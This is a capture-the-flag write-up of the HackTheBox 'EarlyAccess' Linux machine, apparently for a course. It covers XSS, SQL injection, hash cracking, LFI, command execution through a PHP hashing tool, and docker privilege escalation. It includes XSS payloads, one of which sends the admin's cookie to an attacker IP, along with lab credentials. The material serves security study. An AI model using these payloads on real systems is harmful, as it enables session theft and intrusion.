Fontys S7

HackTheBox Linux Write-up

First lets start with the basic enumeration and do a NMap.

sudo nmap -v -A -sS earlyaccess.htb

From the scan we can see that port 80 (http), 443 (https) and 22 (ssh) are open. Nothing special to see here really. Maybe we'll have more luck in finding something with GoBuster.

gobuster dir -x 'php, xml, html, js, css, txt, md' -u earlyaccess.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt

From the looks of it all the tries get redirected and these are all false positives. Let's try Ffuf as a last enumeration method in order to find hidden subdomains.

ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://earlyaccess.htb -H "Host: FUZZ.earlyaccess.htb" -mc 200

Looks like we got a few interesting hits. So I'll add those to my /etc/Hosts file so we can take a look at them later on. So let's create a test account on the main page and let's see what we can find.

Interesting we can see a messaging service, a forum, a store and a place to register a key. We can also edit our own account. Let's take a look at the forum.

Some guy on the forum told the staff that his username caused an issue on the scoreboard, and because his username is SingleQuoteMan I feel like this is a nod towards either XSS or SQLI. We can probably steal a cookie from the admin if we use XSS in our username, because it will run when we message a staff member for support.

Now we'll just need to find a XSS script that will steal the cookie for us so we can use it. I tried a fair number of PHP cookie stealers but with out any luck.

I tried to follow this guide https://null-byte.wonderhowto.com/how-to/write-xss-cookie-stealer-javascript-steal-passwords-0180833/ and tried a number of different XSS scripts.

<img src=x onerror=this.src='http://10.10.14.40:8888/' <iframe src=http://10.10.14.40:8888/shell.php height=”0” width=”0”></iframe>

But none of these worked. I did manage to steal my own cookie but when I tried stealing the admin's I get an "Unsupported ssl" error. So I probably have to make the cookie stealer server run on https. But before that I wanted to try to steal it one more time without using Java Springboot.

It was a longshot but worth the try because Springboot does a lot of stuff underwater and it just works most of the time. I used another XSS script as well because the other ones spammed my terminal full of bogus output.

<script>document.location="http://10.10.14.88:8888/cookie?c=" + document.cookie</script>

And this worked! We got the admin cookie now all that's left is to change our cookie to the admin's and refresh the page!

We are logged in as admin but now what? From the looks of it we got a few new tabs in the navbar. Game and Dev are the subdomains we've already found but admin could be interesting.

It is an admin panel mostly used to validate game keys.

If we look back at the forum we can see that they are having trouble validating the game keys and that they resorted to an offline manual method. Let's download the offline key validator and see what we can find.

            
                #!/usr/bin/env python3
                import sys
                from re import match

                class Key:
                key = ""
                magic_value = "XP" # Static (same on API)
                magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)

                def __init__(self, key:str, magic_num:int=346):
                self.key = key
                if magic_num != 0:
                self.magic_num = magic_num

                @staticmethod
                def info() -> str:
                return f"""
                # Game-Key validator #

                Can be used to quickly verify a user's game key, when the API is down (again).

                Keys look like the following:
                AAAAA-BBBBB-CCCC1-DDDDD-1234

                Usage: {sys.argv[0]}
                <game-key>"""

                    def valid_format(self) -> bool:
                    return
                    bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$",
                    self.key))

                    def calc_cs(self) -> int:
                    gs = self.key.split('-')[:-1]
                    return sum([sum(bytearray(g.encode())) for g in gs])

                    def g1_valid(self) -> bool:
                    g1 = self.key.split('-')[0]
                    r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
                    if r != [221, 81, 145]:
                    return False
                    for v in g1[3:]:
                    try:
                    int(v)
                    except:
                    return False
                    return len(set(g1)) == len(g1)

                    def g2_valid(self) -> bool:
                    g2 = self.key.split('-')[1]
                    p1 = g2[::2]
                    p2 = g2[1::2]
                    return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))

                    def g3_valid(self) -> bool:
                    # TODO: Add mechanism to sync magic_num with API
                    g3 = self.key.split('-')[2]
                    if g3[0:2] == self.magic_value:
                    return sum(bytearray(g3.encode())) == self.magic_num
                    else:
                    return False

                    def g4_valid(self) -> bool:
                    return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0],
                    self.key.split('-')[3])] == [12, 4, 20, 117, 0]

                    def cs_valid(self) -> bool:
                    cs = int(self.key.split('-')[-1])
                    return self.calc_cs() == cs

                    def check(self) -> bool:
                    if not self.valid_format():
                    print('Key format invalid!')
                    return False
                    if not self.g1_valid():
                    return False
                    if not self.g2_valid():
                    return False
                    if not self.g3_valid():
                    return False
                    if not self.g4_valid():
                    return False
                    if not self.cs_valid():
                    print('[Critical] Checksum verification failed!')
                    return False
                    return True

                    if __name__ == "__main__":
                    if len(sys.argv) != 2:
                    print(Key.info())
                    sys.exit(-1)
                    input = sys.argv[1]
                    validator = Key(input)
                    if validator.check():
                    print(f"Entered key is valid!")
                    else:
                    print(f"Entered key is invalid!")
            
            

This is the original code it looks like they validate the key in parts so if we can reverse engineer these parts we can find out how to crack the key.

I put the Python code in an online compiler and removed all the functions and made it into a script. Then I put all the results in variables so we can see if a try is valid.

            
                from re import match

                class Key:
                key = "KEY01-0H0H0-XPAA0-GAME1-1295" #defaultkey=AAAAA-BBBBB-CCCC1-DDDDD-1234
                magic_value = "XP" # Static (same on API)
                magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
                valid = False
                cs_value = 0
                cs_valid = False
                g1_valid = False
                g2_valid = False
                g3_valid = False
                g4_valid = False

                valid =
                bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$",
                key))
                print("valid_format: ", valid)

                gs = key.split('-')[:-1]
                cs_value = sum([sum(bytearray(g.encode())) for g in gs])
                print("cs_value: ", cs_value)

                ### g1 discovered by changing the first 3 characters untill the r value matched
                g1 = key.split('-')[0]
                r = [(ord(v)<<i+1)%256^ord(v) for i, v in enumerate(g1[0:3])]
                print("r: ", r)
                if r != [221, 81, 145]:
                g1_valid = False
                for v in g1[3:]:
                try:
                int(v)
                except:
                g1_valid = False
                g1_valid = len(set(g1)) == len(g1)
                print("g1_valid: ", g1_valid)

                ### g2 discovered by putting p1 on 0 and shifting p2 until it matched
                g2 = key.split('-')[1]
                p1 = g2[::2]
                p2 = g2[1::2]
                g2_valid = sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
                print("g2_valid: ", g2_valid)

                # TODO: Add mechanism to sync magic_num with API
                g3 = key.split('-')[2]
                if g3[0:2] == magic_value:
                g3_valid = sum(bytearray(g3.encode())) == magic_num
                else:
                g3_valid = False
                print("g3_valid: ", g3_valid)

                ### Same approach as g1 try different values untill they matched
                print("g4: ", [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])])
                g4_valid = [ord(i)^ord(g) for g, i in zip(key.split('-')[0], key.split('-')[3])] == [12,
                4, 20, 117, 0]
                print("g4_valid: ", g4_valid)

                ### The CS value is just a byte sum of the whole key so this has to be the last value to
                crack and is pretty easy because we can just print the real CS value and match it
                cs = int(key.split('-')[-1])
                print("cs: ", cs)
                cs_valid = cs_value == cs
                print("cs_valid: ", cs_valid)

                def check(self) -> bool:
                if not self.valid_format():
                print('Key format invalid!')
                return False
                if not self.g1_valid():
                return False
                if not self.g2_valid():
                return False
                if not self.g3_valid():
                return False
                if not self.g4_valid():
                return False
                if not self.cs_valid():
                print('[Critical] Checksum verification failed!')
                return False
                return True
            
            

We cracked the code but the only thing that didn't work is part G3 because the magic number seems to be different on the server. When we try to validate it locally using the original validator script the key is valid. But maybe we can bruteforce this magic number using Burpsuite. There are only 60 possible combinations because the magic number is a sum of the last 3 characters, because the code said that the first two "XP" are static, And each character has a specific value. So I made a list.

            
                KEY01-0H0H0-XPAA0-GAME1-1295
                KEY01-0H0H0-XPAB0-GAME1-1296
                KEY01-0H0H0-XPAC0-GAME1-1297
                KEY01-0H0H0-XPAD0-GAME1-1298
                KEY01-0H0H0-XPAE0-GAME1-1299
                KEY01-0H0H0-XPAF0-GAME1-1300
                KEY01-0H0H0-XPAG0-GAME1-1301
                KEY01-0H0H0-XPAH0-GAME1-1302
                KEY01-0H0H0-XPAI0-GAME1-1303
                KEY01-0H0H0-XPAJ0-GAME1-1304
                KEY01-0H0H0-XPAK0-GAME1-1305
                KEY01-0H0H0-XPAL0-GAME1-1306
                KEY01-0H0H0-XPAM0-GAME1-1307
                KEY01-0H0H0-XPAN0-GAME1-1308
                KEY01-0H0H0-XPAO0-GAME1-1309
                KEY01-0H0H0-XPAP0-GAME1-1310
                KEY01-0H0H0-XPAQ0-GAME1-1311
                KEY01-0H0H0-XPAR0-GAME1-1312
                KEY01-0H0H0-XPAS0-GAME1-1313
                KEY01-0H0H0-XPAT0-GAME1-1314
                KEY01-0H0H0-XPAU0-GAME1-1315
                KEY01-0H0H0-XPAV0-GAME1-1316
                KEY01-0H0H0-XPAW0-GAME1-1317
                KEY01-0H0H0-XPAX0-GAME1-1318
                KEY01-0H0H0-XPAY0-GAME1-1319
                KEY01-0H0H0-XPAZ0-GAME1-1320
                KEY01-0H0H0-XPBZ0-GAME1-1321
                KEY01-0H0H0-XPCZ0-GAME1-1322
                KEY01-0H0H0-XPDZ0-GAME1-1323
                KEY01-0H0H0-XPEZ0-GAME1-1324
                KEY01-0H0H0-XPFZ0-GAME1-1325
                KEY01-0H0H0-XPGZ0-GAME1-1326
                KEY01-0H0H0-XPHZ0-GAME1-1327
                KEY01-0H0H0-XPIZ0-GAME1-1328
                KEY01-0H0H0-XPJZ0-GAME1-1329
                KEY01-0H0H0-XPKZ0-GAME1-1330
                KEY01-0H0H0-XPLZ0-GAME1-1331
                KEY01-0H0H0-XPMZ0-GAME1-1332
                KEY01-0H0H0-XPNZ0-GAME1-1333
                KEY01-0H0H0-XPOZ0-GAME1-1334
                KEY01-0H0H0-XPPZ0-GAME1-1335
                KEY01-0H0H0-XPQZ0-GAME1-1336
                KEY01-0H0H0-XPRZ0-GAME1-1337
                KEY01-0H0H0-XPSZ0-GAME1-1338
                KEY01-0H0H0-XPTZ0-GAME1-1339
                KEY01-0H0H0-XPUZ0-GAME1-1340
                KEY01-0H0H0-XPVZ0-GAME1-1341
                KEY01-0H0H0-XPWZ0-GAME1-1342
                KEY01-0H0H0-XPXZ0-GAME1-1343
                KEY01-0H0H0-XPYZ0-GAME1-1344
                KEY01-0H0H0-XPZZ0-GAME1-1345
                KEY01-0H0H0-XPZZ1-GAME1-1346
                KEY01-0H0H0-XPZZ2-GAME1-1347
                KEY01-0H0H0-XPZZ3-GAME1-1348
                KEY01-0H0H0-XPZZ4-GAME1-1349
                KEY01-0H0H0-XPZZ5-GAME1-1350
                KEY01-0H0H0-XPZZ6-GAME1-1351
                KEY01-0H0H0-XPZZ7-GAME1-1352
                KEY01-0H0H0-XPZZ8-GAME1-1353
                KEY01-0H0H0-XPZZ9-GAME1-1354
            
            

First we need to intercept to post so we can copy it.

Now we can send it to the intruder to start brute-forcing this magic number.

I've added the payload which is the list of possible combinations we've just compiled. Now we need to add it into the POST.

Now let's start attacking!

That didn't go as planned it looks like all the requests got redirected let's look at the settings if we can change anything.

Looks like Burpsuite just needed to be allowed to follow redirects. This is probably also the reason why our first GoBuster attempt failed.

Now to second attack is way more promising. One key stands out because the response length is different from the rest. Let's try that key and see what happens.

And it worked! Now lets go back to our normal user account and add this key to our account.

Now we got the key added to our account we can take a look at that game subdomain we found earlier.

Something I noticed instantly is the scoreboard that the SingleQuoteMan talked about on the forum. Maybe we can do the same trick with SQLI as we did with XSS at the beginning. We can do a simple SQLI test to find out if it's vulnerable.

It is vulnerable but we didn't match the columns hence why it didn't show any output so lets try that again.

Now look at that this should be easy. Lets try to enumerate the database tables.

A user table? Very interesting lets see if it contains any passwords or usernames.

And it does! Looks like we got an admin username and a password hash we need to crack. But first lets find out what type of hash it is.

Looks like it's a SHA1 hash lets see if Hashcat can find the password for us.

hashcat -a 0 -m 100 adminhash.txt /usr/share/wordlists/rockyou.txt

Yes it can! Now lets try to use these credentials to log into the dev subdomain.

Lets try to run Dirbuster one more time to see if it finds anything.

Almost forgot we have to add the PHPSESSID from this admin to Dirbuster otherwise it won't have access to enumerate the site.

Dirtbuster found a file called /actions/file.php which could be interesting. By the looks of it this is the file that is running on the homepage of this subdomain as well but there it said it didn't have a GUI yet. Maybe we can use it without GUI now we know the location of the file. But we need to know the command because now it gives us an error.

Lets try some common command in this context like file, path and filepath. Hey! Filepath worked and now we can execute files and apparently also the hashingTool that is also on the homepage.

Lets take a look at LFI (Local File Inclusion) and see if we can do something with that. I've found this website that explains a LFI vulnerability we could try

https://dev.earlyaccess.htb/actions/file.php?filepath=php://filter/convert.base64-encode/resource=/var/www/earlyaccess.htb/dev/actions/hash.php

This gave us the base64 of the hash.php file if we can convert it back to code we might be able to find a vulnerability.

Using an online base64 decoder we managed to find the source code of the hash.php file.

                
                    <?php
                    include_once "../includes/session.php";

                    function hash_pw($hash_function, $password)
                    {
                        // DEVELOPER-NOTE: There has gotta be an easier way...
                        ob_start();
                        // Use inputted hash_function to hash password
                        $hash = @$hash_function($password);
                        ob_end_clean();
                        return $hash;
                    }

                    try
                    {
                        if(isset($_REQUEST['action']))
                        {
                            if($_REQUEST['action'] === "verify")
                            {
                                // VERIFIES $password AGAINST $hash

                                if(isset($_REQUEST['hash_function']) && isset($_REQUEST['hash']) && isset($_REQUEST['password']))
                                {
                                    // Only allow custom hashes, if `debug` is set
                                    if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                                        throw new Exception("Only MD5 and SHA1 are currently supported!");

                                    $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);

                                    $_SESSION['verify'] = ($hash === $_REQUEST['hash']);
                                    header('Location: /home.php?tool=hashing');
                                    return;
                                }
                            }
                            elseif($_REQUEST['action'] === "verify_file")
                            {
                                //TODO: IMPLEMENT FILE VERIFICATION
                            }
                            elseif($_REQUEST['action'] === "hash_file")
                            {
                                //TODO: IMPLEMENT FILE-HASHING
                            }
                            elseif($_REQUEST['action'] === "hash")
                            {
                                // HASHES $password USING $hash_function

                                if(isset($_REQUEST['hash_function']) && isset($_REQUEST['password']))
                                {
                                    // Only allow custom hashes, if `debug` is set
                                    if($_REQUEST['hash_function'] !== "md5" && $_REQUEST['hash_function'] !== "sha1" && !isset($_REQUEST['debug']))
                                        throw new Exception("Only MD5 and SHA1 are currently supported!");

                                    $hash = hash_pw($_REQUEST['hash_function'], $_REQUEST['password']);
                                    if(!isset($_REQUEST['redirect']))
                                    {
                                        echo "Result for Hash-function (" . $_REQUEST['hash_function'] . ") and password (" . $_REQUEST['password'] . "):<br>";
                                        echo '<br>' . $hash;
                                        return;
                                    }
                                    else
                                    {
                                        $_SESSION['hash'] = $hash;
                                        header('Location: /home.php?tool=hashing');
                                        return;
                                    }
                                }
                            }
                        }
                        // Action not set, ignore
                        throw new Exception("");
                    }
                    catch(Exception $ex)
                    {
                        if($ex->getMessage() !== "")
                            $_SESSION['error'] = htmlentities($ex->getMessage());

                        header('Location: /home.php');
                        return;
                    }
                    ?>
                
            

After analyzing the source code it looks like if you send the debug parameter as true and the hashing_function as shell_exec, you can run any shell command you want from the hashing tool. So lets try that.

Looks like it worked now lets try to get a reverse shell.

And we're in! I looked in the /etc/passwd and noticed another user named www-adm which looked like the next user I needed. After looking around for a bit and I couldn't find anything I thought what if they reused passwords?

And they did so now we have www-adm shell. After looking around I noticed a .wgetrc file with some credentials in it. Because it looked like docker was running on the machine I thought http://api:5000/ was my best bet.

And it was! Apparently there is a check_db endpoint but it required credentials. So I tried to credentials we've just found.

Looks like JSON but we first need to prettify it to make it more readable.

                
                    {
"message":{
"AppArmorProfile":"docker-default",
"Args":[
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Config":{
"AttachStderr":false,
"AttachStdin":false,
"AttachStdout":false,
"Cmd":[
"--character-set-server=utf8mb4",
"--collation-server=utf8mb4_bin",
"--skip-character-set-client-handshake",
"--max_allowed_packet=50MB",
"--general_log=0",
"--sql_mode=ANSI_QUOTES,ERROR_FOR_DIVISION_BY_ZERO,IGNORE_SPACE,NO_ENGINE_SUBSTITUTION,NO_ZERO_DATE,NO_ZERO_IN_DATE,PIPES_AS_CONCAT,REAL_AS_FLOAT,STRICT_ALL_TABLES"
],
"Domainname":"",
"Entrypoint":[
"docker-entrypoint.sh"
],
"Env":[
"MYSQL_DATABASE=db",
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
"SERVICE_TAGS=dev",
"SERVICE_NAME=mysql",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"GOSU_VERSION=1.12",
"MYSQL_MAJOR=8.0",
"MYSQL_VERSION=8.0.25-1debian10"
],
"ExposedPorts":{
"3306/tcp":{

},
"33060/tcp":{

}
},
"Healthcheck":{
"Interval":5000000000,
"Retries":3,
"Test":[
"CMD-SHELL",
"mysqladmin ping -h 127.0.0.1 --user=$MYSQL_USER -p$MYSQL_PASSWORD --silent"
],
"Timeout":2000000000
},
"Hostname":"mysql",
"Image":"mysql:latest",
"Labels":{
"com.docker.compose.config-hash":"947cb358bc0bb20b87239b0dffe00fd463bd7e10355f6aac2ef1044d8a29e839",
"com.docker.compose.container-number":"1",
"com.docker.compose.oneoff":"False",
"com.docker.compose.project":"app",
"com.docker.compose.project.config_files":"docker-compose.yml",
"com.docker.compose.project.working_dir":"/root/app",
"com.docker.compose.service":"mysql",
"com.docker.compose.version":"1.29.1"
},
"OnBuild":null,
"OpenStdin":false,
"StdinOnce":false,
"Tty":true,
"User":"",
"Volumes":{
"/docker-entrypoint-initdb.d":{

},
"/var/lib/mysql":{

}
},
"WorkingDir":""
},
"Created":"2021-10-04T06:57:43.698655618Z",
"Driver":"overlay2",
"ExecIDs":null,
"GraphDriver":{
"Data":{
"LowerDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d-init/diff:/var/lib/docker/overlay2/ecc064365b0367fc58ac796d9d5fe020d9453c68e2563f8f6d4682e38231083e/diff:/var/lib/docker/overlay2/4a21c5c296d0e6d06a3e44e3fa4817ab6f6f8c3612da6ba902dc28ffd749ec4d/diff:/var/lib/docker/overlay2/f0cdcc7bddc58609f75a98300c16282d8151ce18bd89c36be218c52468b3a643/diff:/var/lib/docker/overlay2/01e8af3c602aa396e4cb5af2ed211a6a3145337fa19b123f23e36b006d565fd0/diff:/var/lib/docker/overlay2/55b88ae64530676260fe91d4d3e6b0d763165505d3135a3495677cb10de74a66/diff:/var/lib/docker/overlay2/4064491ac251bcc0b677b0f76de7d5ecf0c17c7d64d7a18debe8b5a99e73e127/diff:/var/lib/docker/overlay2/a60c199d618b0f2001f106393236ba394d683a96003a4e35f58f8a7642dbad4f/diff:/var/lib/docker/overlay2/29b638dc55a69c49df41c3f2ec0f90cc584fac031378ae455ed1458a488ec48d/diff:/var/lib/docker/overlay2/ee59a9d7b93adc69453965d291e66c7d2b3e6402b2aef6e77d367da181b8912f/diff:/var/lib/docker/overlay2/4b5204c09ec7b0cbf22d409408529d79a6d6a472b3c4d40261aa8990ff7a2ea8/diff:/var/lib/docker/overlay2/8178a3527c2a805b3c2fe70e179797282bb426f3e73e8f4134bc2fa2f2c7aa22/diff:/var/lib/docker/overlay2/76b10989e43e43406fc4306e789802258e36323f7c2414e5e1242b6eab4bd3eb/diff",
"MergedDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/merged",
"UpperDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/diff",
"WorkDir":"/var/lib/docker/overlay2/15b0f0978cf938d269ad6db1a05238d1d2a86a9fc161a0c6fa9ca16a8974c55d/work"
},
"Name":"overlay2"
},
"HostConfig":{
"AutoRemove":false,
"Binds":[
"/root/app/scripts/init.d:/docker-entrypoint-initdb.d:ro",
"app_vol_mysql:/var/lib/mysql:rw"
],
"BlkioDeviceReadBps":null,
"BlkioDeviceReadIOps":null,
"BlkioDeviceWriteBps":null,
"BlkioDeviceWriteIOps":null,
"BlkioWeight":0,
"BlkioWeightDevice":null,
"CapAdd":[
"SYS_NICE"
],
"CapDrop":null,
"Cgroup":"",
"CgroupParent":"",
"CgroupnsMode":"host",
"ConsoleSize":[
0,
0
],
"ContainerIDFile":"",
"CpuCount":0,
"CpuPercent":0,
"CpuPeriod":0,
"CpuQuota":0,
"CpuRealtimePeriod":0,
"CpuRealtimeRuntime":0,
"CpuShares":0,
"CpusetCpus":"",
"CpusetMems":"",
"DeviceCgroupRules":null,
"DeviceRequests":null,
"Devices":null,
"Dns":null,
"DnsOptions":null,
"DnsSearch":null,
"ExtraHosts":null,
"GroupAdd":null,
"IOMaximumBandwidth":0,
"IOMaximumIOps":0,
"IpcMode":"private",
"Isolation":"",
"KernelMemory":0,
"KernelMemoryTCP":0,
"Links":null,
"LogConfig":{
"Config":{

},
"Type":"json-file"
},
"MaskedPaths":[
"/proc/asound",
"/proc/acpi",
"/proc/kcore",
"/proc/keys",
"/proc/latency_stats",
"/proc/timer_list",
"/proc/timer_stats",
"/proc/sched_debug",
"/proc/scsi",
"/sys/firmware"
],
"Memory":0,
"MemoryReservation":0,
"MemorySwap":0,
"MemorySwappiness":null,
"NanoCpus":0,
"NetworkMode":"app_nw",
"OomKillDisable":false,
"OomScoreAdj":0,
"PidMode":"",
"PidsLimit":null,
"PortBindings":{

},
"Privileged":false,
"PublishAllPorts":false,
"ReadonlyPaths":[
"/proc/bus",
"/proc/fs",
"/proc/irq",
"/proc/sys",
"/proc/sysrq-trigger"
],
"ReadonlyRootfs":false,
"RestartPolicy":{
"MaximumRetryCount":0,
"Name":"always"
},
"Runtime":"runc",
"SecurityOpt":null,
"ShmSize":67108864,
"UTSMode":"",
"Ulimits":null,
"UsernsMode":"",
"VolumeDriver":"",
"VolumesFrom":[

]
},
"HostnamePath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hostname",
"HostsPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/hosts",
"Id":"47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216",
"Image":"sha256:5c62e459e087e3bd3d963092b58e50ae2af881076b43c29e38e2b5db253e0287",
"LogPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216-json.log",
"MountLabel":"",
"Mounts":[
{
"Destination":"/docker-entrypoint-initdb.d",
"Mode":"ro",
"Propagation":"rprivate",
"RW":false,
"Source":"/root/app/scripts/init.d",
"Type":"bind"
},
{
"Destination":"/var/lib/mysql",
"Driver":"local",
"Mode":"rw",
"Name":"app_vol_mysql",
"Propagation":"",
"RW":true,
"Source":"/var/lib/docker/volumes/app_vol_mysql/_data",
"Type":"volume"
}
],
"Name":"/mysql",
"NetworkSettings":{
"Bridge":"",
"EndpointID":"",
"Gateway":"",
"GlobalIPv6Address":"",
"GlobalIPv6PrefixLen":0,
"HairpinMode":false,
"IPAddress":"",
"IPPrefixLen":0,
"IPv6Gateway":"",
"LinkLocalIPv6Address":"",
"LinkLocalIPv6PrefixLen":0,
"MacAddress":"",
"Networks":{
"app_nw":{
"Aliases":[
    "47c78eb0450f",
    "mysql"
],
"DriverOpts":null,
"EndpointID":"50037fb137fd880f88a9efd17eb8cf94bf8142ec263080b4c904afeeaa79aa2e",
"Gateway":"172.18.0.1",
"GlobalIPv6Address":"",
"GlobalIPv6PrefixLen":0,
"IPAMConfig":{
    "IPv4Address":"172.18.0.100"
},
"IPAddress":"172.18.0.100",
"IPPrefixLen":16,
"IPv6Gateway":"",
"Links":null,
"MacAddress":"02:42:ac:12:00:64",
"NetworkID":"021b24b8b3e1e3638463eeb7dc9af59c36cc412578cdf51931a24f04ea6f5532"
}
},
"Ports":{
"3306/tcp":null,
"33060/tcp":null
},
"SandboxID":"99cbb57fded2142e5dad46330b43249d2866f8514fb4342d06322f3e3b5c60f1",
"SandboxKey":"/var/run/docker/netns/99cbb57fded2",
"SecondaryIPAddresses":null,
"SecondaryIPv6Addresses":null
},
"Path":"docker-entrypoint.sh",
"Platform":"linux",
"ProcessLabel":"",
"ResolvConfPath":"/var/lib/docker/containers/47c78eb0450f08b91f8e1c587c98f4e2b4e5ac4b4c26c6a0a3283bc67d5df216/resolv.conf",
"RestartCount":0,
"State":{
"Dead":false,
"Error":"",
"ExitCode":0,
"FinishedAt":"0001-01-01T00:00:00Z",
"Health":{
"FailingStreak":0,
"Log":[
{
    "End":"2021-10-04T17:08:01.998027574+02:00",
    "ExitCode":0,
    "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n",
    "Start":"2021-10-04T17:08:01.908189033+02:00"
},
{
    "End":"2021-10-04T17:08:07.080804898+02:00",
    "ExitCode":0,
    "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n",
    "Start":"2021-10-04T17:08:07.000613396+02:00"
},
{
    "End":"2021-10-04T17:08:12.166584919+02:00",
    "ExitCode":0,
    "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n",
    "Start":"2021-10-04T17:08:12.083845791+02:00"
},
{
    "End":"2021-10-04T17:08:17.254375293+02:00",
    "ExitCode":0,
    "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n",
    "Start":"2021-10-04T17:08:17.16894306+02:00"
},
{
    "End":"2021-10-04T17:08:22.350400823+02:00",
    "ExitCode":0,
    "Output":"mysqladmin: [Warning] Using a password on the command line interface can be insecure.\nmysqld is alive\n",
    "Start":"2021-10-04T17:08:22.257747436+02:00"
}
],
"Status":"healthy"
},
"OOMKilled":false,
"Paused":false,
"Pid":1108,
"Restarting":false,
"Running":true,
"StartedAt":"2021-10-04T06:57:47.409835076Z",
"Status":"running"
}
},
"status":200
}
                
            

Looks like an username and some passwords lets try those with ssh.

We got the user flag! But now we need to find something to escalate our privileges. We could use LinPEAS to try and find something but we first have to get it on this machine.

I used SimpleHTTPServer to get LinPeas from my machine to the target machine because the target machine didn't have access to the internet. Now we need to run LinPEAS.

Looks like LinPEAS found some interesting stuff like a mail message to Drew and the docker ip ranges and a docker folder that is edited regularly.

This probably means that the docker folder that gets edited regularly is the folder containing the game. And that some script is running that we could use.

Looks like we got a public key as game-tester as well. Lets try to login into the docker ips using this public key.

And it worked now we got a shell as game-tester as well on a docker container. I noticed that the same docker folder on Drew also exists on the docker container and that they are shared. I also noticed that the docker folder get rewritten entirely so all files inside get removed and replaced before the server is restarted again. Lets see what the script does.

It runs in a folder called /usr/src/app which doesn't exist on the Drew user but it does on the game-tester container. So lets look at that as well.

Look like we can crash the server if we make a POST to autoplay with a decimal instead of an integer. But that doesn't get us anywhere we need to infect the node-server.sh first.

I found this website explaining priv esc with docker so I gave it a try. But I have to be faster than the server can create the node-server.sh in order to infect it. So I created a script.

This should create a bash file in /tmp on the game-tester container that is executable by game-tester in order to priv esc. So lets crash the server and try it.

I had to give it a few tries in order to succeed because in some cases the server was actually faster than my script.

And it worked now we need to do the same thing in order to get root on the Drew machine but this time we don't have to worry about speed because we don't need to infect a script, we just have to do it fast enough before all the files inside the folder get deleted again.

That's it! We are root and got the flag!

Although it took me quite a while to root this machine it was a really fun one. Containing a lot of different exploits mostly straight from the OWASP top 10 but also some I never heard of before like the docker priv esc.